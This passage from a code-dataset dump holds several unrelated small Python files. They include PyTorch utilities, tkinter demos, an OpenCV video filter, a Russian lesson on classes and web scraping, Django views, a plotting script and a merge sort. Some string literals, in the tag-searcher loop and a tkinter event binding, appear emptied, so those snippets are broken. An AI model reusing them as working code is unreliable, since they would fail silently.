p.requires_grad)\n\n\ndef _seed_everything(seed):\n os.environ[\"PYTHONHASHSEED\"] = str(seed)\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.deterministic = True\n # torch.use_deterministic_algorithms(True)\n # If the above line is uncommented, we get the following RuntimeError:\n # max_pool3d_with_indices_backward_cuda does not have a deterministic implementation\n torch.backends.cudnn.benchmark = False\n\n\ndef normalize_1(logits: torch.Tensor) -> torch.Tensor:\n dim = logits.ndim - 1\n _min, _ = logits.min(dim=dim)\n _min = _min.unsqueeze(dim)\n logits = (logits - _min) / (logits - _min).sum(dim).unsqueeze(dim)\n return logits\n\n\ndef get_gamma(p: torch.Tensor) -> torch.Tensor:\n eps = torch.finfo(float).eps\n entropy = -p * torch.log(p + eps)\n entropy = entropy.sum(dim=entropy.ndim -1)\n gamma = torch.tanh(entropy)\n return gamma\n \n\ndef apply_peakl(logits : torch.Tensor, r: float = None) -> torch.Tensor:\n \"\"\"\n We build our own hard labeling function \n reference\n - https://arxiv.org/pdf/1512.00567.pdf\n - https://proceedings.mlr.press/v162/wei22b/wei22b.pdf\n \"\"\" \n dim = logits.ndim - 1\n n_label = logits.size()[-1]\n\n if r is None:\n r = get_gamma(logits).unsqueeze(dim)\n else:\n r = torch.tensor(r).unsqueeze(dim)\n logit_peakl = (logits - (r / n_label)) / (1-r)\n logit_peakl = normalize_1(F.relu(logit_peakl))\n return logit_peakl\n","repo_name":"1pha/MulitmodalERC-TensorMixerNetwork","sub_path":"erc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71768512372","text":"#simply reads each line in a file that are between tags\ntrcounter = 0\ntrlines = \"\"\nwith open(\"loginTest.txt\",\"r\") as readin:\n\tline = readin.readline()\n\twhile line:\n\t\tif trcounter == 1:\n\t\t\ttrlines = trlines + line\n\t\telse:\n\t\t\tif \"\" not in line:\n\t\t\t\ttrcounter = 1\n\t\t\t\ttrlines = trlines + line\n\t\t\tif trcounter == 1 and \"\" in line:\n\t\t\t\ttrcounter = 0\n\t\t\t\ttrlines = trlines + line\n\t\t\tif \"\" in line:\n\t\t\t\ttrcounter = 1\n\t\tline = readin.readline()\nreadin.close()\nprint(trlines)\n\t\t\t\n\n\n\n\n\n\n\n","repo_name":"zanwenhuahao/harvestAPE","sub_path":"Scrap/tagSearcherExample.py","file_name":"tagSearcherExample.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3593668237","text":"from tkinter import *\r\n\r\nroot = Tk()\r\n\r\ndef printName(event):\r\n print(\"Hello World\")\r\n\r\nbutton_1 = Button(root, text = \"Print Text\")\r\nbutton_1.bind(\"\", printName)\r\nbutton_1.grid(row = 0, column = 0)\r\n\r\nroot.mainloop()","repo_name":"AntonioIatonna/ICS4U1-Software-Assignment","sub_path":"Test Scripts/bindFunctionAlternate.py","file_name":"bindFunctionAlternate.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23973603194","text":"import cv2\nimport pafy\nimport numpy as np\n\nurl = \"https://www.youtube.com/watch?v=6wV1VC9AadA\"\nvideoInfo = pafy.new(url)\nbest = videoInfo.getbest(preftype='mp4')\n\nvideoPath = best.url\n\ncap = cv2.VideoCapture(videoPath)\n\nfps = cap.get(cv2.CAP_PROP_FPS)\nif cap.isOpened():\n saveFilePath = './record2.mp4'\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n size = (width, height)\n\n out = cv2.VideoWriter(saveFilePath, fourcc, fps, size)\n\n while True:\n ret, frame = cap.read()\n if not ret:\n break\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n lower_red = np.array([0, 120, 70])\n upper_red = np.array([10, 255, 255])\n mask1= cv2.inRange(hsv, lower_red, upper_red)\n\n lower_red = np.array([130,120,70])\n upper_red = np.array([180,255,255])\n mask2 = cv2.inRange(hsv, lower_red, upper_red)\n\n mask3 = mask1 + mask2\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n red = cv2.bitwise_and(frame,frame, mask=mask3)\n\n good = cv2.cvtColor(gray,cv2.COLOR_GRAY2BGR)\n nice = cv2.bitwise_or(good,red)\n\n #cv2.imshow('video', gray)\n #cv2.imshow('video1',red)\n cv2.imshow('video2',nice)\n\n if cv2.waitKey(int(1000/fps)) >= 0:\n break\n out.release()\n\ncap.release()\ncv2.destroyAllWindows()\n\n","repo_name":"goeuddeum/project4","sub_path":"08.py","file_name":"08.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70472347574","text":"\"\"\"\r\nGUI demonstration using tkinter\r\nMCS 260 Fall 2020 Lecture 36 - David Dumas\r\n\"\"\"\r\n\r\nimport tkinter\r\nimport tkinter.ttk\r\n\r\napp = tkinter.Tk()\r\n\r\n# Create a Label widget\r\nlbl = tkinter.ttk.Label(app,text=\"\",width=35,anchor=\"center\")\r\n# Place the widget using grid layout manager\r\nlbl.grid(row=0,column=0,padx=5,pady=5)\r\n\r\n# Functions that handle button presses\r\ndef show_message():\r\n \"\"\"Display an inspiring message\"\"\"\r\n lbl[\"text\"] = \"Your project 4 idea is great!\"\r\n\r\ndef hide_message():\r\n \"\"\"Clear the Label widget\"\"\"\r\n lbl[\"text\"] = \"\"\r\n\r\n# Add the buttons\r\n# (note: it's ok that we overwrite the value of btn\r\n# several times, as long as we're done calling its\r\n# methods.)\r\nbtn = tkinter.ttk.Button(app,text=\"Show message\",command=show_message)\r\nbtn.grid(row=1,column=0,padx=5,pady=2,sticky=\"ew\")\r\nbtn = tkinter.ttk.Button(app,text=\"Clear message\",command=hide_message)\r\nbtn.grid(row=2,column=0,padx=5,pady=2,sticky=\"ew\")\r\nbtn = tkinter.ttk.Button(app,text=\"Quit\",command=exit)\r\nbtn.grid(row=3,column=0,padx=5,pady=2,sticky=\"ew\")\r\n\r\n# Checkbox demo --- it doesn't do anything right now!\r\ncheckbox = tkinter.ttk.Checkbutton(app,text=\"Verify project 4 proposal\")\r\ncheckbox.grid(row=4,column=0,padx=5,pady=2,sticky=\"ew\")\r\n\r\n# Slider demo --- it doesn't do anything right now!\r\nslider = tkinter.ttk.Scale(app)\r\nslider.grid(row=5,column=0,padx=5,pady=2,sticky=\"ew\")\r\n\r\n# Text entry box demo --- it doesn't do anything right now!\r\nentry = tkinter.ttk.Entry(app)\r\nentry.grid(row=6,column=0,padx=5,pady=2,sticky=\"ew\")\r\n\r\napp.mainloop()\r\n","repo_name":"daviddumas/mcs260fall2020","sub_path":"samplecode/guidemo.py","file_name":"guidemo.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16588528222","text":"# Занятие 6. Классы. Парсинг\n# В объектно-ориентированном программировании классы определяют набор объектов, которые могут взаимодействовать между\n# собой. Классы являются механизмом, позволяющим программисту классифицировать и сгруппировывать похожие объекты.\n# Класс — тип, описывающий устройство объектов. Объект — это экземпляр класса.\nimport requests # *для парсинга*\nfrom bs4 import BeautifulSoup # *для парсинга*\n\n\nclass Orange: # class имя: тело\n def __init__(self, w, c):\n self.weight = w\n self.color = c # Тело в классе может быть простой или составной инструкцией, называемой _МЕТОДОМ_\n self.mold = 0\n\n def rot(self, days, temp): # Обычно переменные экземпляра определяются внутри специального метода __init__\n self.mold = days * temp # (initialize — инициализировать), который вызывается Python при создании объекта\n\n\nor1 = Orange(10, 'dark orange')\nprint(or1) # метод __имя__ говорит о том, что он принадлежит к группе методов перегрузки операторов\nor1.weight = 322\nor1.color = 'pink orange'\nprint(f\"color: {or1.color},\\nweight: {or1.weight}\")\n\nor2 = Orange(18, 'black orange')\nor3 = Orange(15, 'white orange')\nor4 = Orange(13, 'dark orange')\n\norange = Orange(6, 'pickle')\norange.rot(10, 33)\nprint(orange.mold)\n\"\"\" Четыре столпа объектно-ориентированного программирования :\n1. Наследование - Наследование в программировании напоминает наследование в биологии. При генетическом наследовании \n вы наследуете характеристики вроде цвета глаз от родителей. Аналогично, когда вы создаете класс\n он может наследовать методы и переменные от другого класса. Класс, от которого наследуют, \n называется родительским, а класс, который наследует, — дочерним.\n Множественное наследование – возможность наследоваться от нескольких родителей. \n2. Инкапсуляция - Инкапсуляция относится к двум концепциям:\n 1) Идея заключается в том, что в ООП переменные (состояние) и методы (для изменения состояния либо\n выполнения вычислений, использующих состояние) группируются в единое целое — объект.\n 2) Вторая концепция, собственно инкапсуляция, заключается в сокрытии внутренних данных класса для \n предотвращения получения клиентом (кодом вне класса, который использует объект) прямого доступа\n к этим данным.\n3. Полиморфизм - Способность представлять один и тот же интерфейс для разных базовых форм (типов данных).\n4. Абстракция - Процесс отнятия или удаления у чего-то характеристик с целью сведения его к набору основных, \n существенных характеристик. В объектно-ориентированном программировании абстракция используется\n когда объекты моделируются с использованием классов, а ненужные подробности опускаются.\n\"\"\"\n\n\n# ПАРСИНГ\n# Парсинг — это инструмент работы со строковыми данными\n# Веб–Скрапинг – Веб-скрапинг это акт извлечения информации из сайта\n# краулинг(crawling) - программе приходится переходить от одной ссылки к другой чтобы собрать всю необходимую информацию\ndef get_html(url):\n r = requests.get(url)\n return r.text\n\n\ndef get_data(html):\n soup = BeautifulSoup(html, 'lxml')\n h1 = soup.find('div', id='home-welcome').find('header').find('h1').text\n return h1\n\n\ndef main():\n url = \"https://wordpress.org/\"\n print(f\"парсим текст: {get_data(get_html(url))}\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"zhenya-paitash/course-python-ormedia","sub_path":"lesson__6.py","file_name":"lesson__6.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"572717628","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom character.forms import CharacterCreateForm\nfrom character.models import Character\nfrom authentication.models import CustomUser\nfrom django.http import HttpResponseRedirect\nfrom character.PvPGNCharacter import createPvPGNCharacter\nimport json\n# Create your views here.\n\n\ndef createCharacter(request):\n #If 'submit' button pressed\n if (request.method == \"POST\"):\n characterForm = CharacterCreateForm(request.POST)\n if characterForm.is_valid(): #If all fields is correct\n player = CustomUser.objects.get(user_id=request.user.id)\n #Creating character on PvPGN server\n createPvPGNCharacter(player.user.username, request.POST['name'], request.POST['characterClass'])\n #There is a some code to set the player in character model\n newCharacter = characterForm.save(commit=False)\n newCharacter.player = player\n newCharacter.save()\n return redirect('/')\n return render(request, template_name='createCharacter.html', context={'form': characterForm})\n\n return render(request, template_name='createCharacter.html')\n\n\ndef getCharacter(name):\n import urllib.request, json\n fp = urllib.request.urlopen(\"http://127.0.0.1:8001/\" + name)\n mystr = (fp.read()).decode(\"utf-8\")\n fp.close()\n if mystr[0] == 'E': #That means the word is Error (not a start of the json)\n return \"ERROR\"\n info = json.loads(mystr)\n return info\n\n\ndef showCharacter(request, name):\n character = getCharacter(name)\n if (character == \"ERROR\"):\n return redirect(request.META.get('HTTP_REFERER'))\n\n return render(request, template_name='character.html',\n context={'owner': Character.objects.get(name=name).player,\n 'character': character,\n 'character_dumps': json.dumps(character)})\n","repo_name":"savukhin/Diablo-2-Web-Lobby","sub_path":"Diablo_2_Web_Lobby/character/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25208940055","text":"import os\nimport re\nimport sys\nimport time\nimport glob\nimport pandas\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.legend_handler import HandlerLine2D\n\ndef process_options():\n global args\n\n parser = argparse.ArgumentParser(description='Plot cumulative of pixel difference count')\n parser.add_argument('-i', '--input', type=str, required=True, nargs='*', help='Data')\n parser.add_argument('-t', '--title', type=str, required=True, help='Figure title')\n parser.add_argument('-o', '--output', type=str, required=True, help='Output')\n\n args = parser.parse_args()\n\n for f in args.input:\n if not os.path.exists(f):\n print(\"%s dose not exsit.\" % f)\n sys.exit(1)\n\n if os.path.exists(args.output):\n print(\"output file already exsits.\")\n sys.exit(1)\n\ndef f1(p,r):\n if p+r==0:\n return 0\n else:\n return 2*p*r/(p+r)\n\ndef main():\n\n process_options()\n colors = ['#1f77b4','#2ca02c','#9467bd','#8c564b','#ff7f0e','blue','red']\n\n df_list = []\n\n for f in args.input:\n cur_df = pandas.read_csv(f)\n cur_df['f1'] = cur_df.apply(lambda x: f1(x['precision'],x['recall']), axis=1)\n cur_fmax = cur_df['f1'].max()\n cur_max_point = cur_df[cur_df['f1'] == cur_fmax].values[0][0:2]\n df_list.append({\n 'name': os.path.basename(f).split('.')[0],\n 'points': cur_df[[0,1]].values,\n 'fmax': cur_fmax,\n 'max_point': cur_max_point\n })\n\n fig = plt.figure(figsize=(11,8))\n title = fig.suptitle(args.title, fontsize=30)\n ax = fig.add_subplot(111)\n ax.axis([0, 1, 0, 1])\n ax.axes.tick_params(labelsize=16)\n ax.set_xlabel('Recall', fontsize=18)\n ax.set_ylabel('Precision', fontsize=18)\n\n lines = []\n\n # F1 curve\n for f_score in np.arange(0.1,1,0.1):\n x = np.linspace(0.01, 1)\n y = f_score * x / (2 * x - f_score)\n l, = ax.plot(x[y >= 0], y[y >= 0], color='#7f8c8d', alpha=0.2)\n ax.annotate('f1={0:0.1f}'.format(f_score), xy=(0.9, y[45] + 0.02))\n\n for ind, df in enumerate(df_list):\n line = df['points']\n X = [ p[0] for p in line]\n Y = [ p[1] for p in line]\n\n # Draw line\n if df['name'] == 'Naive' or df['name'] == 'BLAST':\n cur_line, = ax.plot(X, Y, c=colors[ind], label=df['name'], linestyle='--', linewidth=2.0)\n elif df['name'] == '1NN':\n cur_line, = ax.plot(df['max_point'][0], df['max_point'][1], c=colors[ind], label=df['name'], linewidth=2.0)\n else:\n cur_line, = ax.plot(X, Y, c=colors[ind], label=df['name'], linewidth=2.0)\n lines.append(cur_line)\n\n # Draw Fmax point\n ax.scatter( df['max_point'][0], df['max_point'][1], c=colors[ind], s=80)\n\n # draw legend\n leg = ax.legend(handler_map={ line:HandlerLine2D(numpoints=1) for line in lines}, loc='upper center',\n bbox_to_anchor=(0.5,-0.1), prop={'size':20}, ncol=2)\n\n fig.savefig(args.output, bbox_extra_artists=(leg,title,), bbox_inches='tight')\n fig.clf()\n\n\nif __name__ == \"__main__\":\n start_time = time.time()\nmain()\nprint(\"--- %s mins ---\" % round(float((time.time() - start_time))/60, 2))\n","repo_name":"changlabtw/GODoc","sub_path":"code/python/plot/pr_plot.py","file_name":"pr_plot.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"19343583181","text":"__pragma__(\"alias\",\"s\",\"$\")\nfrom Widget import Widget\nfrom HeaderCustomize import HeaderCustomize\nfrom ButtonSettings import ButtonSettings\nfrom Acordion import Acordion\nfrom TabAcordion import TabAcordion\nfrom Input import Input\nfrom TinyMCE import TinyMCE\n\nclass Widgets(Widget):\n\t\"\"\"\n\tSi añades un video, la imagen se utilizara como alternativa\n\tmientras que el video carga.\n\t\"\"\"\n\tdef __init__(self,titulo):\n\t\tWidget.__init__(self,titulo)\n\t\tself.descripcion=self.__doc__\n\tdef update(self):\n\t\tself.__update__()\n\t\tw=HeaderCustomize(self.titulo)\n\n\t\tw.slider=self.slider\n\t\tw._atras=self._atras\n\t\tw._screen=self._screen\n\t\tself.add(w)\n\t\tw=ButtonSettings(\"Blog Sidebar\")\n\t\tw.slider=self.slider\n\t\tw.screen=self.screen\n\t\tw._screen=3\n\t\tw._siguiente=2\n\t\tself.add(w)\n\t\tw=ButtonSettings(\"Footer 1\")\n\t\tw.slider=self.slider\n\t\tw.screen=self.screen\n\t\tw._screen=4\n\t\tw._siguiente=2\n\t\tself.add(w)\n\n\t\t\n\t\tw=ButtonSettings(\"Footer 2\")\n\t\tw.slider=self.slider\n\t\tw.screen=self.screen\n\t\tw._screen=5\n\t\tw._siguiente=2\n\t\tself.add(w)\n\t\t#==================================\n\t\tw=HeaderCustomize(\"Blog Sidebar\")\n\t\t\n\t\tw.slider=self.slider\n\t\tw._atras=1\n\t\tw._screen=6\n\t\tw.descripcion=\"\"\"\n\t\tAdd widgets here to appear in your sidebar on\n\t\tblog posts and archive pages.\n\t\t\"\"\"\n\t\tself.screen.appendToTab(3,w)\n\t\ta=Acordion()\n\t\tt=TabAcordion(\"HTML:\")\n\t\tt.descripcion=\"Encuentranos\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Encuentranos\"\n\t\tw=TinyMCE()\n\t\tt.add(w)\n\t\ta.addTab(t)\n\t\tt=TabAcordion(\"Buscar:\")\n\t\tt.descripcion=\"Busqueda\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Busqueda\"\n\t\ta.addTab(w)\n\t\tt=TabAcordion(\"HTML:\")\n\t\tt.descripcion=\"Acerca del sitio\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Acerca del sitio\"\n\t\tw=TinyMCE()\n\t\tw.value=\"\"\"\n\t\tEste puede ser un buen lugar para presentarte y presentar tu sitio o incluir algunos créditos.\n\t\t\"\"\"\n\t\tself.screen.appendToTab(3,a)\n\t\t\n\t\t\n\n\n\t\tw=HeaderCustomize(\"Footer 1\")\n\t\tw.slider=self.slider\n\t\tw._atras=1\n\t\tw._screen=7\n\t\tself.screen.appendToTab(4,w)\n\t\ta=Acordion()\n\t\tt=TabAcordion(\"HTML:\")\n\t\tt.descripcion=\"Encuentranos\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Encuentranos\"\n\t\tt.add(w)\n\t\tw=TinyMCE()\n\t\tt.add(w)\n\t\ta.addTab(t)\n\t\tself.screen.appendToTab(4,a)\n\t\tw=HeaderCustomize(\"Footer 2\")\n\t\tw.slider=self.slider\n\t\tw._atras=1\n\t\tw._screen=8\n\t\tself.screen.appendToTab(5,w)\n\t\ta=Acordion()\n\t\tt=TabAcordion(\"HTML:\")\n\t\tt.descripcion=\"Acerca del sitio\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Acerca del sitio\"\n\t\tt.add(w)\n\t\tw=TinyMCE()\n\t\tw.value=\"\"\"\n\t\tEste puede ser un buen lugar para presentarte y presentar tu sitio o incluir algunos créditos.\n\t\t\"\"\"\n\t\tt.add(w)\n\t\ta.addTab(t)\n\t\tt=TabAcordion(\"Buscar:\")\n\t\tt.descripcion=\"Busqueda\"\n\t\tw=Input(\"Titulo\")\n\t\tw.value=\"Busqueda\"\n\t\tt.add(w)\n\t\ta.addTab(t)\n\t\tself.screen.appendToTab(5,a)\n\t\tself.css({\"padding-left\":\"20px\",\"padding-right\":\"20px\"},None,\">div:nth-child(n+2)\")\n\n\n\t\t\n\t\t\n\t\t\n\t\t","repo_name":"ZerpaTechnology/asenzor-v2","sub_path":"Components/_SidebarCustomize/Widgets.py","file_name":"Widgets.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35093084030","text":"import streamlit as st\nimport pickle\nimport numpy as np\n\n\nst.set_page_config(\n page_title=\"Customer Churn Prediction\",\n page_icon=\"🔮\",\n initial_sidebar_state=\"expanded\",\n )\n\n\ndef map_inputs(*parameters):\n gender_ = 0 if parameters[0] == 'Female' else 1\n senior_citizen_ = 0 if parameters[1] == 'No' else 1\n partner_ = 0 if parameters[2] == 'No' else 1\n dependents_ = 0 if parameters[3] == 'No' else 1\n \n if parameters[4] <= 9.0:\n tenure_ = 0\n elif parameters[4] > 9.0 and parameters[4] <= 29.0:\n tenure_ = 1\n elif parameters[4] > 29.0 and parameters[4] <= 56.0:\n tenure_ = 2\n else:\n tenure_ = 3\n\n phone_service_ = 0 if parameters[5] == 'No' else 1\n\n if parameters[6] == 'No phone service':\n multiple_lines_ = 0 \n elif parameters[6] == 'No':\n multiple_lines_ = 1\n else:\n multiple_lines_ = 2\n \n if parameters[7] == 'No':\n internet_service_ = 0 \n elif parameters[7] == 'DSL':\n internet_service_ = 1\n else:\n internet_service_ = 2\n \n if parameters[8] == 'No':\n online_security_ = 0 \n elif parameters[8] == 'Yes':\n online_security_ = 1\n else:\n online_security_ = 2\n \n if parameters[9] == 'No':\n online_backup_ = 0 \n elif parameters[9] == 'Yes':\n online_backup_ = 1\n else:\n online_backup_ = 2\n\n if parameters[10] == 'No':\n device_protection_ = 0 \n elif parameters[10] == 'Yes':\n device_protection_ = 1\n else:\n device_protection_ = 2\n\n if parameters[11] == 'No':\n tech_support_ = 0 \n elif parameters[11] == 'Yes':\n tech_support_ = 1\n else:\n tech_support_ = 2\n\n if parameters[12] == 'No':\n streaming_tv_ = 0 \n elif parameters[12] == 'Yes':\n streaming_tv_ = 1\n else:\n streaming_tv_ = 2\n\n if parameters[13] == 'No':\n streaming_movies_ = 0 \n elif parameters[13] == 'Yes':\n streaming_movies_ = 1\n else:\n streaming_movies_ = 2\n\n if parameters[14] == 'Month-to-month':\n contract_ = 0 \n elif parameters[14] == 'One year':\n contract_ = 1\n else:\n contract_ = 2\n\n paperless_billing_ = 0 if parameters[15] == 'No' else 1\n\n if parameters[16] == 'Electronic check':\n payment_ = 0 \n elif parameters[16] == 'Mailed check':\n payment_ = 1\n elif parameters[16] == 'Bank transfer (automatic)':\n payment_ = 2\n else:\n payment_ = 3\n\n if parameters[17] <= 35.65:\n monthly_charges_ = 0\n elif parameters[17] > 35.65 and parameters[17] <= 70.4:\n monthly_charges_ = 1\n elif parameters[17] > 70.4 and parameters[17] <= 89.9:\n monthly_charges_ = 2\n else:\n monthly_charges_ = 3\n \n if parameters[18] <= 404.3:\n total_charges_ = 0\n elif parameters[18] > 404.3 and parameters[18] <= 1412.0:\n total_charges_ = 1\n elif parameters[18] > 1412.0 and parameters[18] <= 3847.0:\n total_charges_ = 2\n else:\n total_charges_ = 3\n\n features = np.array([[gender_, senior_citizen_, partner_, dependents_, tenure_, \n phone_service_, multiple_lines_, internet_service_, online_security_, \n online_backup_, device_protection_, tech_support_, streaming_tv_, \n streaming_movies_, contract_, paperless_billing_, payment_, monthly_charges_, \n total_charges_]])\n return features\n\n\ndef handle_output(prediction):\n if prediction == 0:\n return 'Customer with selected features is NOT likely to churn'\n else:\n return 'Customer with selected features is likely to churn'\n\n\ndef main():\n st.title(\"Telco Customer Churn\")\n html_temp = \"\"\"\n
\n

Behavior to Retain Customers

\n
\n \"\"\"\n st.markdown(html_temp, unsafe_allow_html=True)\n st.write(f'Github repository with project description, EDA and model training could be accessed here: https://github.com/DZorikhin/class-ml-telcom')\n activities = ['Random Forest', 'Logistic Regression', 'SVM', 'Gradient Boosting', 'AdaBoost', 'XGBoost']\n model_option = st.selectbox('Which model would you like to use?', activities)\n st.subheader(f'Select features and predict with {model_option} model')\n\n gender = st.radio(\"Gender\", (\"Female\", \"Male\"))\n senior_citizen = st.radio(\"Senior Citizen\", (\"Yes\", \"No\"))\n partner = st.radio(\"Partner\", (\"Yes\", \"No\"))\n dependents = st.radio(\"Dependents\", (\"Yes\", \"No\"))\n tenure = st.number_input(\"How long does client use company\\'s service (months)?\", value=12, step=1, min_value=0, max_value=75)\n phone_service = st.radio(\"Does customer have phone service?\", (\"Yes\", \"No\"))\n multiple_lines = st.selectbox(\"Does customer have multiple lines?\", (\"Yes\", \"No\", \"No phone service\"))\n internet_service = st.selectbox(\"What internet service does customer have?\", (\"DSL\", \"Fibre optic\", \"No internet service\"))\n online_security = st.radio(\"Does customer have online security service?\", (\"Yes\", \"No\", \"No internet service\"))\n online_backup = st.radio(\"Does customer have online backup service?\", (\"Yes\", \"No\", \"No internet service\"))\n device_protection = st.radio(\"Does customer have device protection service?\", (\"Yes\", \"No\", \"No internet service\"))\n tech_support = st.radio(\"Does customer have tech support option?\", (\"Yes\", \"No\", \"No internet service\"))\n contract = st.selectbox(\"What kind of contract does customer have?\", (\"Month-to-month\", \"One year\", \"Two year\"))\n streaming_tv = st.radio(\"Does customer have Streaming TV?\", (\"Yes\", \"No\", \"No internet service\"))\n streaming_movies = st.radio(\"Does customer have Streaming movies option?\", (\"Yes\", \"No\", \"No internet service\"))\n paperless_billing = st.radio(\"Does customer prefer paperless billing?\", (\"Yes\", \"No\"))\n payment = st.selectbox(\"What payment method does customer prefer?\", (\"Electronic check\", \"Mailed check\", \"Bank transfer (automatic)\", \"Credit card (automatic)\"))\n monthly_charges = st.slider(\"What is the amount charged to the customer monthly?\", value=60.0, step=0.5, min_value=15.0, max_value=120.0)\n total_charges = st.slider(\"What is the total amount charged to the customer?\", value=4000.0, step=0.5, min_value=15.0, max_value=9000.0)\n\n X = map_inputs(gender, senior_citizen, partner, dependents, tenure, phone_service, multiple_lines, internet_service, \n online_security, online_backup, device_protection, tech_support, streaming_tv, streaming_movies, contract, \n paperless_billing, payment, monthly_charges, total_charges)\n \n if st.button('Predict Churn'):\n if model_option == 'Random Forest':\n random_forest = pickle.load(open('random-forest.pkl','rb')) \n st.success(handle_output(random_forest.predict(X)[0]))\n elif model_option == 'Logistic Regression':\n log_reg = pickle.load(open('logistic-regression.pkl','rb'))\n st.success(handle_output(log_reg.predict(X)[0]))\n elif model_option == 'SVM':\n svm = pickle.load(open('SVM.pkl','rb'))\n st.success(handle_output(svm.predict(X)[0]))\n elif model_option == 'Gradient Boosting':\n grad_boost = pickle.load(open('gradient-boosting.pkl','rb'))\n st.success(handle_output(grad_boost.predict(X)[0]))\n elif model_option == 'AdaBoost':\n ada_boost = pickle.load(open('ada-boost.pkl','rb'))\n st.success(handle_output(ada_boost.predict(X)[0]))\n elif model_option == 'XGBoost':\n xg_boost = pickle.load(open('XGBoost.pkl','rb'))\n st.success(handle_output(xg_boost.predict(X)[0]))\n\n\nif __name__=='__main__':\n main()","repo_name":"DZorikhin/class-ml-telcom","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13206977810","text":"from eNMS import app\nfrom eNMS.database.functions import fetch, fetch_all\n\nfrom tests.conftest import check_pages\n\n\ndef test_authentication(base_client):\n for page in app.get_endpoints:\n r = base_client.get(page)\n if page in [\"/\", \"/login\"]:\n assert r.status_code == 200\n else:\n assert r.status_code == 302 and \"login\" in r.location\n\n\ndef test_urls(user_client):\n for page in app.get_endpoints:\n r = user_client.get(page, follow_redirects=True)\n assert r.status_code == 200\n r = user_client.get(\"/logout\", follow_redirects=True)\n test_authentication(user_client)\n\n\n@check_pages(\"table/user\")\ndef test_user_management(user_client):\n for user in (\"user1\", \"user2\", \"user3\"):\n dict_user = {\n \"form_type\": \"user\",\n \"name\": user,\n \"email\": f\"{user}@test.com\",\n \"permissions\": [\"Admin\"],\n \"password\": user,\n }\n user_client.post(\"/update/user\", data=dict_user)\n assert len(fetch_all(\"user\")) == 4\n user1 = fetch(\"user\", name=\"user1\")\n user_client.post(\"/delete_instance/user/{}\".format(user1.id))\n assert len(fetch_all(\"user\")) == 3\n","repo_name":"arifh19/eNMS","sub_path":"tests/test_admin.py","file_name":"test_admin.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"32231117628","text":"def merge(slist1,num1,slist2,num2,list1):\r\n i = 0\r\n j = 0\r\n while i < num1 and j < num2:\r\n if slist1[i] < slist2[j]:\r\n list1[i + j] = slist1[i]\r\n i += 1\r\n else:\r\n list1[j + i] = slist2[j]\r\n j += 1\r\n while i < num1 or j < num2:\r\n if i < num1:\r\n list1[i + j] = slist1[i]\r\n i += 1\r\n else:\r\n list1[i + j] = slist2[j]\r\n j += 1\r\n\r\ndef sort(list1,num):\r\n slist1 = []\r\n slist2 = []\r\n if num > 1:\r\n num1 = num // 2\r\n num2 = num - num1\r\n for i in range(0,num1,1):\r\n slist1.append(list1[i])\r\n for i in range(0,num2,1):\r\n slist2.append(list1[num1 + i])\r\n sort(slist1,num1)\r\n sort(slist2,num2)\r\n merge(slist1,num1,slist2,num2,list1)\r\n\r\nlist1 = [5,7,4,2,3,8,1]\r\nsort(list1,len(list1))\r\nprint(list1)\r\n","repo_name":"takaira/takaira.seisakubutu","sub_path":"基本情報アルゴリズム/h22春期アルゴリズム.py","file_name":"h22春期アルゴリズム.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4575410552","text":"\"\"\"\nThis module just extends from github package.\nrepo: https://github.com/fedejordan/tweet-image-generator\n\"\"\"\nimport os\nfrom io import BytesIO, IOBase\nimport textwrap\nimport requests\n\nimport arabic_reshaper\nimport numpy as np\nfrom PIL import Image, ImageDraw, ImageFont\nfrom bidi.algorithm import get_display\nfrom django.conf import settings\nfrom logging import getLogger\n\n\nlogger = getLogger(__name__)\n\n\n# Numbers\nmargin_x = 32\nmargin_y = 28\nfinal_size = (1200, 2400)\ntwitter_name_x = 150\ntwitter_name_y = margin_y + 8\n\n# Fonts\nfont_file = str(settings.TWEET_IMAGE_TEXT_FONT_PATH)\n# font_file = 